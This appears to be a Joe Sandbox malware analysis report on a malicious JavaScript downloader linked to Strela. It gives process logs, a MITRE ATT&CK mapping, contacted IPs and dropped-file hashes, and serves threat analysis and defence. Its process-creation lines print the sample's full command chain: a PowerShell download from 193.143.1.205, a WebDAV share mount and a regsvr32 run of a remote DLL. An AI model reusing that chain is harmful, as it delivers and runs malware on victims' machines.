Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2986414422293398212.js	0%	ReversingLabs
2986414422293398212.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/s	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/e7	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/n	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/a7	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.10.dr, qmgr.db.10.dr	false		high
http://193.143.1.205:8888/e7	net.exe, 00000008.00000003.1930037179.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1937686103.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.10.dr, qmgr.db.10.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 0000000A.00000003.1933192411.000001B8255B2000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	false		high
http://193.143.1.205:8888/s	net.exe, 00000008.00000002.1937627520.000001D3A8F28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000008.00000003.1930037179.000001D3A8F4C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000A.00000002.3107910496.000001B825600000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.10.dr, qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1937686103.000001D3A8F7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1930037179.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1928064790.000001D3A8F79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1937627520.000001D3A8F28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1937686103.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000000A.00000003.1933192411.000001B8255B2000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://193.143.1.205:8888/a7	net.exe, 00000008.00000003.1930037179.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1937686103.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.mi	svchost.exe, 0000000A.00000002.3108022977.000001B8256C4000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587948
Start date and time:	2025-01-10 19:40:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2986414422293398212.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.125, 2.16.168.107, 2.16.168.105, 50.16.47.176, 34.237.241.83, 54.224.241.105, 18.213.11.84, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 4.175.87.197, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:41:57	API Interceptor	22x Sleep call for process: powershell.exe modified
13:42:01	API Interceptor	1x Sleep call for process: net.exe modified
13:42:01	API Interceptor	2x Sleep call for process: svchost.exe modified
13:42:14	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073536837361395
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr9:KooCEYhgYEL0In
MD5:	C0007F61BBBC38874EBEA2C75D5AD847
SHA1:	2954A24C1F139F84BC7D22D54B8F5BDFB39EC19D
SHA-256:	A4C78DB9A9C3FEF47E147491DD15D9D45EE5205FD92D825E20BAFC5CACB56A7B
SHA-512:	B97C579954B47C8BA1B01176A12658E5B707EC0CF49487315346D5C3ABF16D0A3B5A035D9142996684AEE7742E68159BCEF777829AD67CE19658F188E7A34A45
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x70f00fd6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221498350967687
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	B63C8B8166A17AAF40AEB1AF2E509722
SHA1:	19EC27FC30EE812573796DD9AF74C80AB6E5083E
SHA-256:	1BE344EAB342BC06355ECB18623EA8DBD0909B2B501BAF17F09AF9A7CD318A0E
SHA-512:	4CC62DB939C2369B2C4304541F0CDF4EFF32CB16721DB51E4D3B306A354AE36CC657C0EEA0E133201C14FD6E930D8BC8F5B45827DAFE5A0982786B89984A6077
Malicious:	false
Preview:	p...... .......A.......X\...;...{......................0.!..........{A.....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................#.M....}...................>..*...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07722811369453877
Encrypted:	false
SSDEEP:	3:NRSXKYeQ+xkjn13a/VVP8FZillcVO/lnlZMxZNQl:byKzc53qU7GOewk
MD5:	5B4CE941DB2C37256B4E72C443F5519A
SHA1:	EDFB5F3DD593B6FADD7289CA88C739F8A12B9A2E
SHA-256:	92CCE9EA25B7F6EF57B2E183C4B5C496FA72544F31077D846F52CC5EEBA82DF3
SHA-512:	ACF385EF63D74BC343E6AD0B4DF625DA6CD60E77C2412652E6D782AB06C3DD2D1C019D9DC8A71D69F4C85621DFC73983EA0D218DD97083CFC845FB18BF85BE45
Malicious:	false
Preview:	.}\|......................................;...{......}.......{A..............{A......{A..........{A].................>.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.163713613237163
Encrypted:	false
SSDEEP:	6:iO4iUOM+q2Pwkn2nKuAl9OmbnIFUtSiUamZmwsiUapMVkwOwkn2nKuAl9OmbjLJ:7Gj+vYfHAahFUtsam/SaiV5JfHAaSJ
MD5:	0B4FBEA57D40E056961436B3564FFE0F
SHA1:	E7CA3A670928097D191BD357A916068531442881
SHA-256:	319ACAAA36FFCBA2CF5D55D9538DE591B2F68A76F59F7D55034206D0BBC5344C
SHA-512:	82036231FBF87029153DAE6798EE97954A903C3A0541E6F14CE8A13E79895CD831AE5DA5A23B7FBDC2670A4D67F2819A1ED7DE1F594FDA14802154F9E2A5CC79
Malicious:	false
Preview:	2025/01/10-13:42:01.384 e1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:42:01.386 e1c Recovering log #3.2025/01/10-13:42:01.386 e1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.163713613237163
Encrypted:	false
SSDEEP:	6:iO4iUOM+q2Pwkn2nKuAl9OmbnIFUtSiUamZmwsiUapMVkwOwkn2nKuAl9OmbjLJ:7Gj+vYfHAahFUtsam/SaiV5JfHAaSJ
MD5:	0B4FBEA57D40E056961436B3564FFE0F
SHA1:	E7CA3A670928097D191BD357A916068531442881
SHA-256:	319ACAAA36FFCBA2CF5D55D9538DE591B2F68A76F59F7D55034206D0BBC5344C
SHA-512:	82036231FBF87029153DAE6798EE97954A903C3A0541E6F14CE8A13E79895CD831AE5DA5A23B7FBDC2670A4D67F2819A1ED7DE1F594FDA14802154F9E2A5CC79
Malicious:	false
Preview:	2025/01/10-13:42:01.384 e1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:42:01.386 e1c Recovering log #3.2025/01/10-13:42:01.386 e1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.107520790667101
Encrypted:	false
SSDEEP:	6:iO4iU1GIq2Pwkn2nKuAl9Ombzo2jMGIFUtSiUahZmwsiUa7kwOwkn2nKuAl9OmbX:7GRvYfHAa8uFUtsO/Si5JfHAa8RJ
MD5:	6EDD415F641A8A94CE3212B09F32C31F
SHA1:	2762537A8FEAD72338CF0DAC0FEB2209A52613BD
SHA-256:	EBE02F85920D57851478E5038AF4CC8B5A6DF578648215D1D5A3C5D62D7CCB03
SHA-512:	D8C46E07815BB83911449663FA0FC48CCE0368EC434EC9C6A006A2EE9D64C10796F94589EE4F5C9FD0F90EA6CD971B1B022CE49DDC96441389A669B0E792FBF5
Malicious:	false
Preview:	2025/01/10-13:42:01.423 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:42:01.425 1c40 Recovering log #3.2025/01/10-13:42:01.425 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.107520790667101
Encrypted:	false
SSDEEP:	6:iO4iU1GIq2Pwkn2nKuAl9Ombzo2jMGIFUtSiUahZmwsiUa7kwOwkn2nKuAl9OmbX:7GRvYfHAa8uFUtsO/Si5JfHAa8RJ
MD5:	6EDD415F641A8A94CE3212B09F32C31F
SHA1:	2762537A8FEAD72338CF0DAC0FEB2209A52613BD
SHA-256:	EBE02F85920D57851478E5038AF4CC8B5A6DF578648215D1D5A3C5D62D7CCB03
SHA-512:	D8C46E07815BB83911449663FA0FC48CCE0368EC434EC9C6A006A2EE9D64C10796F94589EE4F5C9FD0F90EA6CD971B1B022CE49DDC96441389A669B0E792FBF5
Malicious:	false
Preview:	2025/01/10-13:42:01.423 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:42:01.425 1c40 Recovering log #3.2025/01/10-13:42:01.425 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.954820884383589
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdPHgXhsBdOg2HEcaq3QYiubInP7E4T3y:Y2sRdsmyydMHX3QYhbG7nby
MD5:	86C9DAF06A23B1CE830A1DB8C0030327
SHA1:	649AB907BF6842E1B5085D62ABFA50F67D8ED511
SHA-256:	5CBED839BC996A86CE2AA5718CF40F87B4559B8C7456C807D856D1DC8EB57E03
SHA-512:	32C3E78059996C79DFB6A2420B8F54E5CEAC1745077FDF017368AF01BBD4A08F49BDEAA0E272BD8F22354507BE8FED754A525974F8C54E1873F2156046A768B0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094533848516","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":245423},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fdf3a416-e729-4a9b-8792-d2b14e074977.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.954820884383589
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdPHgXhsBdOg2HEcaq3QYiubInP7E4T3y:Y2sRdsmyydMHX3QYhbG7nby
MD5:	86C9DAF06A23B1CE830A1DB8C0030327
SHA1:	649AB907BF6842E1B5085D62ABFA50F67D8ED511
SHA-256:	5CBED839BC996A86CE2AA5718CF40F87B4559B8C7456C807D856D1DC8EB57E03
SHA-512:	32C3E78059996C79DFB6A2420B8F54E5CEAC1745077FDF017368AF01BBD4A08F49BDEAA0E272BD8F22354507BE8FED754A525974F8C54E1873F2156046A768B0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094533848516","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":245423},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.257647605139762
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7Znwx:etJCV4FiN/jTN/2r8Mta02fEhgO73goe
MD5:	AAF898793F184504CE4642DA3FC2387B
SHA1:	6E5E56B378C817541DF4DEA95588AA86F61DDE5B
SHA-256:	8D27B17A10DD73B2948FF3979464CFD4417A56CF956A9D874B7486E29DDC781A
SHA-512:	A9E23273E1F52FA521F988B9359462ACDDDFCCD73D3425B7B35699E67717A50D48CF4EFCAF158C0D92B2CF33493E62792241193623902299C0B3FBF4214A8BDB
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160307718422107
Encrypted:	false
SSDEEP:	6:iO4iUJSq2Pwkn2nKuAl9OmbzNMxIFUtSiULvZZmwsiUUFkwOwkn2nKuAl9OmbzNq:7GkvYfHAa8jFUtsLh/S45JfHAa84J
MD5:	A6A744A13E153FCD3DD7FB13E72C811E
SHA1:	F7A2BEA91F7A794854F3E7BF3F7E9153FA8F670F
SHA-256:	54A8162465F3712A689AA2DE98F63AE812AAB2A80E7B80A4D570AFC0A6C0C7EE
SHA-512:	37948602B5951E5592B3A025A65C69865C9CE8D93A410015330B38D0345DEB342704F7E95F6DB1B8C59ADEE993D2FEB61A9271D36AED3AA65CC348C442320944
Malicious:	false
Preview:	2025/01/10-13:42:01.947 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:42:01.961 1c40 Recovering log #3.2025/01/10-13:42:01.962 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160307718422107
Encrypted:	false
SSDEEP:	6:iO4iUJSq2Pwkn2nKuAl9OmbzNMxIFUtSiULvZZmwsiUUFkwOwkn2nKuAl9OmbzNq:7GkvYfHAa8jFUtsLh/S45JfHAa84J
MD5:	A6A744A13E153FCD3DD7FB13E72C811E
SHA1:	F7A2BEA91F7A794854F3E7BF3F7E9153FA8F670F
SHA-256:	54A8162465F3712A689AA2DE98F63AE812AAB2A80E7B80A4D570AFC0A6C0C7EE
SHA-512:	37948602B5951E5592B3A025A65C69865C9CE8D93A410015330B38D0345DEB342704F7E95F6DB1B8C59ADEE993D2FEB61A9271D36AED3AA65CC348C442320944
Malicious:	false
Preview:	2025/01/10-13:42:01.947 1c40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:42:01.961 1c40 Recovering log #3.2025/01/10-13:42:01.962 1c40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444889417991333
Encrypted:	false
SSDEEP:	384:yezci5tEiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rzs3OazzU89UTTgUL
MD5:	1A9F935D2DD8786255A62F500B603DB8
SHA1:	DC927FEA976A3D13F10D39765446C7B25920E8DE
SHA-256:	57A480C527397FBFA16F8CFCD27F2F7B863E78A9975A72051995F9290BEAF127
SHA-512:	3097764793B63452DB2309C27D22E2E7126C9AD8C339119C5B911C4256B91CBD82EB8DA731EA6E02667FE21108C36169FA756F4ABE4133A453419C1786392C62
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

